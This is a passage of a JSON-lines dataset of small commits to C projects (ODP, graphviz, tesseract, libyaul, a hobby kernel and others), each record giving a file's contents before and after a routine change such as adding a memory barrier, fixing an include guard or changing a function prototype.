-Erik\n","lang":"C","license":"lgpl-2.1","repos":"wbx-github\/uclibc-ng,atgreen\/uClibc-moxie,ysat0\/uClibc,skristiansson\/uClibc-or1k,skristiansson\/uClibc-or1k,wbx-github\/uclibc-ng,klee\/klee-uclibc,atgreen\/uClibc-moxie,hjl-tools\/uClibc,kraj\/uClibc,ffainelli\/uClibc,groundwater\/uClibc,m-labs\/uclibc-lm32,groundwater\/uClibc,majek\/uclibc-vx32,groundwater\/uClibc,foss-xtensa\/uClibc,ysat0\/uClibc,klee\/klee-uclibc,ffainelli\/uClibc,m-labs\/uclibc-lm32,OpenInkpot-archive\/iplinux-uclibc,hjl-tools\/uClibc,kraj\/uClibc,ChickenRunjyd\/klee-uclibc,skristiansson\/uClibc-or1k,mephi42\/uClibc,groundwater\/uClibc,foss-xtensa\/uClibc,groundwater\/uClibc,hjl-tools\/uClibc,ddcc\/klee-uclibc-0.9.33.2,brgl\/uclibc-ng,waweber\/uclibc-clang,kraj\/uClibc,klee\/klee-uclibc,hwoarang\/uClibc,hwoarang\/uClibc,ddcc\/klee-uclibc-0.9.33.2,klee\/klee-uclibc,OpenInkpot-archive\/iplinux-uclibc,waweber\/uclibc-clang,m-labs\/uclibc-lm32,czankel\/xtensa-uclibc,kraj\/uclibc-ng,brgl\/uclibc-ng,majek\/uclibc-vx32,mephi42\/uClibc,hjl-tools\/uClibc,kraj\/uclibc-ng,m-labs\/uclibc-lm32,ChickenRunjyd\/klee-uclibc,kraj\/uclibc-ng,atgreen\/uClibc-moxie,czankel\/xtensa-uclibc,ndmsystems\/uClibc,gittup\/uClibc,gittup\/uClibc,ffainelli\/uClibc,ddcc\/klee-uclibc-0.9.33.2,czankel\/xtensa-uclibc,hjl-tools\/uClibc,ffainelli\/uClibc,wbx-github\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,wbx-github\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,skristiansson\/uClibc-or1k,foss-for-synopsys-dwc-arc-processors\/uClibc,ndmsystems\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ysat0\/uClibc,czankel\/xtensa-uclibc,gittup\/uClibc,ChickenRunjyd\/klee-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,gittup\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,atgreen\/uClibc-moxie,ddcc\/klee-uclibc-0.9.33.2,foss-xtensa\/uClibc,ndmsystems\/uClibc,hwoarang\/uClibc,ndmsystems\/uClibc,kraj\/uclibc-ng,brgl\/uclibc-ng,ysat0\/uClibc,mephi42\/uClibc,majek\/uclibc-vx32,foss-xtensa\/uClibc,majek\/uclibc-vx32,mephi42\/uClibc,hwoarang\/uClibc,ChickenRunjyd\/klee-uclibc,kraj\/uClibc,waweber\/uclibc-clang,ffainelli\/uClibc,waweber\/uclibc-clang"}
{"commit":"c35746580036ca9b6fc9ec172634dfab12237abb","old_file":"include\/odp_sync.h","new_file":"include\/odp_sync.h","old_contents":"\/* Copyright (c) 2013, Linaro Limited\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n\n\/**\n * @file\n *\n * ODP synchronisation\n *\/\n\n#ifndef ODP_SYNC_H_\n#define ODP_SYNC_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/**\n * Synchronise stores\n *\n * Ensures that all CPU store operations that precede the odp_sync_stores()\n * call are globally visible before any store operation that follows it.\n *\/\nstatic inline void odp_sync_stores(void)\n{\n#if defined __x86_64__ || defined __i386__\n\n\t__asm__  __volatile__ (\"sfence\\n\" : : : \"memory\");\n\n#elif defined __arm__\n\n\t__asm__ __volatile__ (\"dmb st\" : : : \"memory\");\n\n#elif defined __OCTEON__\n\n\t__asm__  __volatile__ (\"syncws\\n\" : : : \"memory\");\n\n#else\n\t__sync_synchronize();\n#endif\n}\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/* Copyright (c) 2013, Linaro Limited\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n\n\/**\n * @file\n *\n * ODP synchronisation\n *\/\n\n#ifndef ODP_SYNC_H_\n#define ODP_SYNC_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/**\n * Synchronise stores\n *\n * Ensures that all CPU store operations that precede the odp_sync_stores()\n * call are globally visible before any store operation that follows it.\n *\/\nstatic inline void odp_sync_stores(void)\n{\n#if defined __x86_64__ || defined __i386__\n\n\t__asm__  __volatile__ (\"sfence\\n\" : : : \"memory\");\n\n#elif defined __arm__ || defined __aarch64__\n\n\t__asm__ __volatile__ (\"dmb st\" : : : \"memory\");\n\n#elif defined __OCTEON__\n\n\t__asm__  __volatile__ (\"syncws\\n\" : : : \"memory\");\n\n#else\n\t__sync_synchronize();\n#endif\n}\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add write memory barrier for aarch64","message":"Add write memory barrier for aarch64\n\nThis patch updates odp_sync_stores routine to add write memory barrier for\naarch64.\n\nSigned-off-by: Ankit Jindal <0920ec6e02c95b572519373847b995b0763a0743@linaro.org>\nSigned-off-by: Tushar Jagad <3604ae1aed16529df1f2280ecebda0599cb1687d@linaro.org>\nReviewed-by: Anders Roxell <b4e8e89057bc64bc4f9625a4a821c9ac177a7ed2@linaro.org>\n","lang":"C","license":"bsd-3-clause","repos":"ravineet-singh\/odp,kalray\/odp-mppa,dkrot\/odp,mike-holmes-linaro\/odp,nmorey\/odp,rsalveti\/odp,dkrot\/odp,kalray\/odp-mppa,erachmi\/odp,erachmi\/odp,rsalveti\/odp,kalray\/odp-mppa,dkrot\/odp,mike-holmes-linaro\/odp,kalray\/odp-mppa,ravineet-singh\/odp,kalray\/odp-mppa,nmorey\/odp,mike-holmes-linaro\/odp,rsalveti\/odp,rsalveti\/odp,ravineet-singh\/odp,erachmi\/odp,ravineet-singh\/odp,erachmi\/odp,nmorey\/odp,rsalveti\/odp,kalray\/odp-mppa,dkrot\/odp,kalray\/odp-mppa,nmorey\/odp,mike-holmes-linaro\/odp"}
{"commit":"fb0da0b3b4ece34207375ecddd022f2e2d5b7c52","old_file":"include\/libk\/kputs.h","new_file":"include\/libk\/kputs.h","old_contents":"#ifndef KPUTS_H\n#define KPUTS_H\n#include \"drivers\/terminal.h\"\n\nvoid kputs(char* string);\nvoid kprint_int(char* string, int i);\n\n#endif\n","new_contents":"#ifndef KPUTS_H\n#define KPUTS_H\n#include <stdarg.h>\n#include \"drivers\/terminal.h\"\n\nvoid kputs(char* string);\nvoid kprintf(char* string, ...);\n\n#endif\n","subject":"Update headers to match new printf","message":"Update headers to match new printf\n","lang":"C","license":"mit","repos":"Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"afd6a6dcac92c604ff97892e3c95f845dd479bc5","old_file":"includes\/grid_cell.h","new_file":"includes\/grid_cell.h","old_contents":"#ifndef GRIDCELL_H\n#define GRIDCELL_H\n\n#include <gsl\/gsl_rng.h>\n\n\/*\n    DATA STRUCTURES\n*\/\n\n#define GC_NUM_STATES 4\ntypedef enum { DECIDUOUS,CONIFEROUS,TRANSITIONAL,MIXED} State;\ntypedef double StateData [GC_NUM_STATES];\n\ntypedef enum { MOORE, VONNE} NeighType;\n\nextern State GC_POSSIBLE_STATES [GC_NUM_STATES];  \/\/ this is an array giving all possible states\n\ntypedef struct {\n    double meanTemp;\n    \/*Task: list all variables need to be used*\/\n    \/\/ Fill later\n} Climate;\n\ntypedef struct {\n    State* currentState;\n    State* stateHistory;\n    Climate climate;\n    StateData prevalence;\n    StateData transitionProbs;\n    size_t historySize;\n} GridCell;\n\n\n\/*.\n    FUNCTION PROTOTYPES\n*\/\n\nGridCell* gc_make_cell (size_t numTimeSteps); \/\/ allocate memory and null initialize cell, initialize pointers\nvoid gc_get_trans_prob (GridCell* cell);\nvoid gc_select_new_state (GridCell* cell, gsl_rng* rng);\nvoid gc_destroy_cell(GridCell *cell);\n\n#endif\n","new_contents":"#ifndef GRIDCELL_H\n#define GRIDCELL_H\n\n#include <gsl\/gsl_rng.h>\n\n\/*\n    DATA STRUCTURES\n*\/\n\n#define GC_NUM_STATES 4\ntypedef enum { DECIDUOUS,CONIFEROUS,TRANSITIONAL,MIXED} State;\ntypedef double StateData [GC_NUM_STATES];\ntypedef enum { MOORE, VONNE} NeighType;\n\n\ntypedef struct {\n    double meanTemp;\n    \/*Task: list all variables need to be used*\/\n    \/\/ Fill later\n} Climate;\n\ntypedef struct {\n    State* currentState;\n    State* stateHistory;\n    Climate climate;\n    StateData prevalence;\n    StateData transitionProbs;\n    size_t historySize;\n} GridCell;\n\n\n\/*.\n    FUNCTION PROTOTYPES\n*\/\n\nGridCell* gc_make_cell (size_t numTimeSteps); \/\/ allocate memory and null initialize cell, initialize pointers\nvoid gc_get_trans_prob (GridCell* cell);\nvoid gc_select_new_state (GridCell* cell, gsl_rng* rng);\nvoid gc_destroy_cell(GridCell *cell);\n\n#endif\n","subject":"Delete unused extern variable declared","message":"Delete unused extern variable declared\n","lang":"C","license":"mit","repos":"QUICC-FOR\/STModel-Simulation,QUICC-FOR\/STModel-Simulation"}
{"commit":"cac419e1c61a882875bcf0ea494ead7b476998ce","old_file":"src\/qt\/guiconstants.h","new_file":"src\/qt\/guiconstants.h","old_contents":"#ifndef GUICONSTANTS_H\n#define GUICONSTANTS_H\n\n\/* Milliseconds between model updates *\/\nstatic const int MODEL_UPDATE_DELAY = 500;\n\n\/* AskPassphraseDialog -- Maximum passphrase length *\/\nstatic const int MAX_PASSPHRASE_SIZE = 1024;\n\n\/* CubitsGUI -- Size of icons in status bar *\/\nstatic const int STATUSBAR_ICONSIZE = 16;\n\n\/* Invalid field background style *\/\n#define STYLE_INVALID \"background:#FF8080\"\n\n\/* Transaction list -- unconfirmed transaction *\/\n#define COLOR_UNCONFIRMED QColor(128, 128, 128)\n\/* Transaction list -- negative amount *\/\n#define COLOR_NEGATIVE QColor(255, 0, 0)\n\/* Transaction list -- bare address (without label) *\/\n#define COLOR_BAREADDRESS QColor(140, 140, 140)\n\n\/* Tooltips longer than this (in characters) are converted into rich text,\n   so that they can be word-wrapped.\n *\/\nstatic const int TOOLTIP_WRAP_THRESHOLD = 80;\n\n\/* Maximum allowed URI length *\/\nstatic const int MAX_URI_LENGTH = 255;\n\n\/* QRCodeDialog -- size of exported QR Code image *\/\n#define EXPORT_IMAGE_SIZE 256\n\n#endif \/\/ GUICONSTANTS_H\n","new_contents":"#ifndef GUICONSTANTS_H\n#define GUICONSTANTS_H\n\n\/* Milliseconds between model updates *\/\nstatic const int MODEL_UPDATE_DELAY = 5000;\n\n\/* AskPassphraseDialog -- Maximum passphrase length *\/\nstatic const int MAX_PASSPHRASE_SIZE = 1024;\n\n\/* CubitsGUI -- Size of icons in status bar *\/\nstatic const int STATUSBAR_ICONSIZE = 16;\n\n\/* Invalid field background style *\/\n#define STYLE_INVALID \"background:#FF8080\"\n\n\/* Transaction list -- unconfirmed transaction *\/\n#define COLOR_UNCONFIRMED QColor(128, 128, 128)\n\/* Transaction list -- negative amount *\/\n#define COLOR_NEGATIVE QColor(255, 0, 0)\n\/* Transaction list -- bare address (without label) *\/\n#define COLOR_BAREADDRESS QColor(140, 140, 140)\n\n\/* Tooltips longer than this (in characters) are converted into rich text,\n   so that they can be word-wrapped.\n *\/\nstatic const int TOOLTIP_WRAP_THRESHOLD = 80;\n\n\/* Maximum allowed URI length *\/\nstatic const int MAX_URI_LENGTH = 255;\n\n\/* QRCodeDialog -- size of exported QR Code image *\/\n#define EXPORT_IMAGE_SIZE 256\n\n#endif \/\/ GUICONSTANTS_H\n","subject":"Set more rare GUI update","message":"Set more rare GUI update\n","lang":"C","license":"mit","repos":"scificrypto\/CubitsV3,scificrypto\/CubitsV3,scificrypto\/CubitsV3,scificrypto\/CubitsV3"}
{"commit":"488fd420411e307851adaa63bf5051d52bda04cd","old_file":"tests\/mpich-example.c","new_file":"tests\/mpich-example.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <mpi.h>\n\nint\nmain (int argc, char *argv[])\n{\n  int rank, size, length;\n  char name[BUFSIZ];\n\n  MPI_Init (&argc, &argv);\n  MPI_Comm_rank (MPI_COMM_WORLD, &rank);\n  MPI_Comm_size (MPI_COMM_WORLD, &size);\n  MPI_Get_processor_name (name, &length);\n\n  printf (\"%s: hello world from process %d of %d\\n\", name, rank, size);\n\n  MPI_Finalize ();\n\n  return EXIT_SUCCESS;\n}\n","subject":"Add missing file for the MPI test.","message":"Add missing file for the MPI test.\n\nsvn path=\/nixos\/trunk\/; revision=27337\n","lang":"C","license":"mit","repos":"SymbiFlow\/nixpkgs,SymbiFlow\/nixpkgs,NixOS\/nixos,SymbiFlow\/nixpkgs,SymbiFlow\/nixpkgs,triton\/triton,edolstra\/nixos,NixOS\/nixpkgs,andreassalomonsson\/nixos,NixOS\/nixos,SymbiFlow\/nixpkgs,NixOS\/nixos,triton\/triton,SymbiFlow\/nixpkgs,triton\/triton,NixOS\/nixos,SymbiFlow\/nixpkgs,NixOS\/nixpkgs,triton\/triton,NixOS\/nixpkgs,SymbiFlow\/nixpkgs,triton\/triton,NixOS\/nixpkgs,rbvermaa\/nixos-svn,andreassalomonsson\/nixos,NixOS\/nixpkgs,triton\/triton,SymbiFlow\/nixpkgs,rbvermaa\/nixos-svn,edolstra\/nixos,NixOS\/nixpkgs,NixOS\/nixpkgs,andreassalomonsson\/nixos,triton\/triton,SymbiFlow\/nixpkgs,edolstra\/nixos,SymbiFlow\/nixpkgs,SymbiFlow\/nixpkgs,NixOS\/nixpkgs,NixOS\/nixpkgs,rbvermaa\/nixos-svn,andreassalomonsson\/nixos,NixOS\/nixpkgs,triton\/triton,SymbiFlow\/nixpkgs,rbvermaa\/nixos-svn,andreassalomonsson\/nixos,NixOS\/nixpkgs,NixOS\/nixpkgs,NixOS\/nixos,NixOS\/nixpkgs,edolstra\/nixos,andreassalomonsson\/nixos,edolstra\/nixos,NixOS\/nixpkgs,NixOS\/nixpkgs,NixOS\/nixos"}
{"commit":"db16fea6b11cf939f5cb12ef95637abca2072f33","old_file":"unittest\/cycletimer.h","new_file":"unittest\/cycletimer.h","old_contents":"","new_contents":"\/\/ (C) Copyright 2017, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ Portability include to match the Google test environment.\n\n#ifndef TESSERACT_UNITTEST_CYCLETIMER_H\n#define TESSERACT_UNITTEST_CYCLETIMER_H\n\n#include \"absl\/time\/clock.h\" \/\/ for GetCurrentTimeNanos\n\n\/\/ See https:\/\/github.com\/google\/or-tools\/blob\/master\/ortools\/base\/timer.h\nclass CycleTimer {\npublic:\n  CycleTimer() {\n    Reset();\n  }\n\n  void Reset() {\n    running_ = false;\n    sum_ = 0;\n  }\n\n  \/\/ When Start() is called multiple times, only the most recent is used.\n  void Start() {\n    running_ = true;\n    start_ = absl::GetCurrentTimeNanos();\n  }\n\n  void Restart() {\n    sum_ = 0;\n    Start();\n  }\n\n  void Stop() {\n    if (running_) {\n      sum_ += absl::GetCurrentTimeNanos() - start_;\n      running_ = false;\n    }\n  }\n  int64_t GetInMs() const { return GetNanos() \/ 1000000; }\n\n protected:\n  int64_t GetNanos() const {\n    return running_ ? absl::GetCurrentTimeNanos() - start_ + sum_ : sum_;\n  }\n\n private:\n  bool running_;\n  int64_t start_;\n  int64_t sum_;\n};\n\n#endif  \/\/ TESSERACT_UNITTEST_CYCLETIMER_H\n","subject":"Add a basic implementation of class CycleTimer","message":"Add a basic implementation of class CycleTimer\n\nIt is used by baseapi_test.\n\nSigned-off-by: Stefan Weil <8d4c780fcfdc41841e5070f4c43da8958ba6aec0@weilnetz.de>\n","lang":"C","license":"apache-2.0","repos":"tesseract-ocr\/tesseract,stweil\/tesseract,jbarlow83\/tesseract,UB-Mannheim\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract,tesseract-ocr\/tesseract,stweil\/tesseract,stweil\/tesseract,stweil\/tesseract,UB-Mannheim\/tesseract,jbarlow83\/tesseract,UB-Mannheim\/tesseract,jbarlow83\/tesseract,tesseract-ocr\/tesseract,amitdo\/tesseract,jbarlow83\/tesseract,amitdo\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract,amitdo\/tesseract,tesseract-ocr\/tesseract,jbarlow83\/tesseract,stweil\/tesseract,amitdo\/tesseract"}
{"commit":"bff8460f062b896473f4ef4d0baf5ad1c35c40e5","old_file":"include\/teraranger_hub\/serial_port.h","new_file":"include\/teraranger_hub\/serial_port.h","old_contents":"#ifndef TR_HUB_SERIAL_PORT_H\n#define TR_HUB_SERIAL_PORT_H\n\n#include <stdio.h>    \/\/ Standard input\/output definitions\n#include <string.h>   \/\/ String function definitions\n#include <unistd.h>   \/\/ UNIX standard function definitions\n#include <fcntl.h>    \/\/ File control definitions\n#include <errno.h>    \/\/ Error number definitions\n#include <termios.h>  \/\/ POSIX terminal control definitions\n#include <sys\/ioctl.h>\n\n#include <boost\/thread.hpp>\n#include <boost\/function.hpp>\n\n#include <string>\n\nnamespace tr_hub_parser\n{\n\nclass SerialPort\n{\npublic:\n  SerialPort();\n  virtual ~SerialPort();\n\n  bool connect(const std::string port);\n  void disconnect();\n\n  bool sendChar(const char c[]);\n\n  void setSerialCallbackFunction(boost::function<void(uint8_t)> *f);\n  void serialThread();\n\n  int serial_port_fd_;\n  boost::thread serial_thread_;\n  bool serial_thread_should_exit_;\n\n  boost::function<void(uint8_t)> * serial_callback_function;\n};\n\n} \/\/ namespace tr_hub_parser\n\n#endif  \/\/ TR_HUB_SERIAL_PORT_H\n","new_contents":"#ifndef TERARANGER_HUB_SERIAL_PORT_H\n#define TERARANGER_HUB_SERIAL_PORT_H\n\n#include <stdio.h>    \/\/ Standard input\/output definitions\n#include <string.h>   \/\/ String function definitions\n#include <unistd.h>   \/\/ UNIX standard function definitions\n#include <fcntl.h>    \/\/ File control definitions\n#include <errno.h>    \/\/ Error number definitions\n#include <termios.h>  \/\/ POSIX terminal control definitions\n#include <sys\/ioctl.h>\n\n#include <boost\/thread.hpp>\n#include <boost\/function.hpp>\n\n#include <string>\n\nnamespace tr_hub_parser\n{\n\nclass SerialPort\n{\npublic:\n  SerialPort();\n  virtual ~SerialPort();\n\n  bool connect(const std::string port);\n  void disconnect();\n\n  bool sendChar(const char c[]);\n\n  void setSerialCallbackFunction(boost::function<void(uint8_t)> *f);\n  void serialThread();\n\n  int serial_port_fd_;\n  boost::thread serial_thread_;\n  bool serial_thread_should_exit_;\n\n  boost::function<void(uint8_t)> * serial_callback_function;\n};\n\n} \/\/ namespace tr_hub_parser\n\n#endif  \/\/ TERARANGER_HUB_SERIAL_PORT_H\n","subject":"Fix ifdef for serial port header file","message":"Fix ifdef for serial port header file\n","lang":"C","license":"mit","repos":"Terabee\/teraranger_array,Terabee\/teraranger_array"}
{"commit":"f9167849b8c24cd4689aedd6c9a1c43719091d8f","old_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","new_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","old_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\nvoid __VERIFIER_assert(int cond) {\n    if (!(cond)) {\n        ERROR: __VERIFIER_error();\n    }\n    return;\n}\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}","subject":"Remove unused __VERIFIER_assert definition from nofun test","message":"Remove unused __VERIFIER_assert definition from nofun test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c34ed4e5cb60bfbb707118f69f3bb9fea48ce890","old_file":"src\/qtyaml_global.h","new_file":"src\/qtyaml_global.h","old_contents":"#ifndef QTYAML_GLOBAL_H\n#define QTYAML_GLOBAL_H\n\n#include <QtCore\/QtGlobal>\n\n#if defined(QTYAML_LIBRARY)\n#  define QTYAMLSHARED_EXPORT Q_DECL_EXPORT\n#else\n#  define QTYAMLSHARED_EXPORT Q_DECL_IMPORT\n#endif\n\n#endif \/\/ QTYAML_GLOBAL_H\n","new_contents":"#ifndef QTYAML_GLOBAL_H\n#define QTYAML_GLOBAL_H\n\n#include <QtCore\/QtGlobal>\n\n#ifdef YAML_DECLARE_STATIC\n#  define QTYAMLSHARED_EXPORT\n#else\n#  ifdef QTYAML_LIBRARY\n#    define QTYAMLSHARED_EXPORT Q_DECL_EXPORT\n#  else\n#    define QTYAMLSHARED_EXPORT Q_DECL_IMPORT\n#  endif\n#endif\n\n#endif \/\/ QTYAML_GLOBAL_H\n","subject":"Add support for static lib","message":"Add support for static lib\n","lang":"C","license":"mit","repos":"uranusjr\/qtyaml,uranusjr\/qtyaml"}
{"commit":"ccac208ec5892857a5847a12b098d2358e023f7c","old_file":"lib\/common\/htmllex.h","new_file":"lib\/common\/htmllex.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef HTMLLEX_H\n#define HTMLLEX_H\n\n#include <agxbuf.h>\n\n    extern int initHTMLlexer(char *, agxbuf *);\n    extern int htmllex(void);\n    extern int htmllineno(void);\n    extern int clearHTMLlexer(void);\n    void htmlerror(const char *);\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef HTMLLEX_H\n#define HTMLLEX_H\n\n#include <agxbuf.h>\n\n    extern int initHTMLlexer(char *, agxbuf *, int);\n    extern int htmllex(void);\n    extern int htmllineno(void);\n    extern int clearHTMLlexer(void);\n    void htmlerror(const char *);\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Add support for charset attribute and Latin1 encoding.","message":"Add support for charset attribute and Latin1 encoding.\n","lang":"C","license":"epl-1.0","repos":"kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,pixelglow\/graphviz"}
{"commit":"03888f30421578b58039eec720ed31061f9d0205","old_file":"libyaul\/scu\/bus\/cpu\/cpu_slave.c","new_file":"libyaul\/scu\/bus\/cpu\/cpu_slave.c","old_contents":"\/*\n * Copyright (c) 2012-2016\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com\n *\/\n\n#include <sys\/cdefs.h>\n\n#include <smpc\/smc.h>\n\n#include <cpu\/instructions.h>\n#include <cpu\/frt.h>\n#include <cpu\/intc.h>\n#include <cpu\/map.h>\n#include <cpu\/slave.h>\n\nstatic void _slave_entry(void);\nstatic void _default_entry(void);\n\nstatic void (*_entry)(void) = _default_entry;\n\nvoid\ncpu_slave_init(void)\n{\n        smpc_smc_sshoff_call();\n\n        cpu_slave_entry_clear();\n\n        cpu_intc_ihr_set(INTC_INTERRUPT_SLAVE_ENTRY, _slave_entry);\n\n        smpc_smc_sshon_call();\n}\n\nvoid\ncpu_slave_entry_set(void (*entry)(void))\n{\n        _entry = (entry != NULL) ? entry : _default_entry;\n}\n\nstatic void\n_slave_entry(void)\n{\n        while (true) {\n                while (((cpu_frt_status_get()) & FRTCS_ICF) == 0x00);\n\n                cpu_frt_control_chg((uint8_t)~FRTCS_ICF);\n\n                _entry();\n        }\n}\n\nstatic void\n_default_entry(void)\n{\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com\n *\/\n\n#include <sys\/cdefs.h>\n\n#include <smpc\/smc.h>\n\n#include <cpu\/instructions.h>\n#include <cpu\/frt.h>\n#include <cpu\/intc.h>\n#include <cpu\/map.h>\n#include <cpu\/slave.h>\n\nstatic void _slave_entry(void);\n\nstatic void _default_entry(void);\n\nstatic void (*_entry)(void) = _default_entry;\n\nvoid\ncpu_slave_init(void)\n{\n        smpc_smc_sshoff_call();\n\n        cpu_slave_entry_clear();\n\n        cpu_intc_ihr_set(INTC_INTERRUPT_SLAVE_ENTRY, _slave_entry);\n\n        smpc_smc_sshon_call();\n}\n\nvoid\ncpu_slave_entry_set(void (*entry)(void))\n{\n        _entry = (entry != NULL) ? entry : _default_entry;\n}\n\nstatic void __noreturn\n_slave_entry(void)\n{\n        while (true) {\n                while (((cpu_frt_status_get()) & FRTCS_ICF) == 0x00);\n\n                cpu_frt_control_chg((uint8_t)~FRTCS_ICF);\n\n                _entry();\n        }\n}\n\nstatic void\n_default_entry(void)\n{\n}\n","subject":"Mark _slave_entry to never return","message":"Mark _slave_entry to never return\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"cd017fbdd33f2d8294b0e0324faa1dc7750b4af0","old_file":"include\/linux\/ds1742rtc.h","new_file":"include\/linux\/ds1742rtc.h","old_contents":"","new_contents":"\/*\n * ds1742rtc.h - register definitions for the Real-Time-Clock \/ CMOS RAM\n *\n * Copyright (C) 1999-2001 Toshiba Corporation\n * Copyright (C) 2003 Ralf Baechle (ralf@linux-mips.org)\n *\n * Permission is hereby granted to copy, modify and redistribute this code\n * in terms of the GNU Library General Public License, Version 2 or later,\n * at your option.\n *\/\n#ifndef __LINUX_DS1742RTC_H\n#define __LINUX_DS1742RTC_H\n\n#include <asm\/ds1742.h>\n\n#define RTC_BRAM_SIZE\t\t0x800\n#define RTC_OFFSET\t\t0x7f8\n\n\/*\n * Register summary\n *\/\n#define RTC_CONTROL\t\t(RTC_OFFSET + 0)\n#define RTC_CENTURY\t\t(RTC_OFFSET + 0)\n#define RTC_SECONDS\t\t(RTC_OFFSET + 1)\n#define RTC_MINUTES\t\t(RTC_OFFSET + 2)\n#define RTC_HOURS\t\t(RTC_OFFSET + 3)\n#define 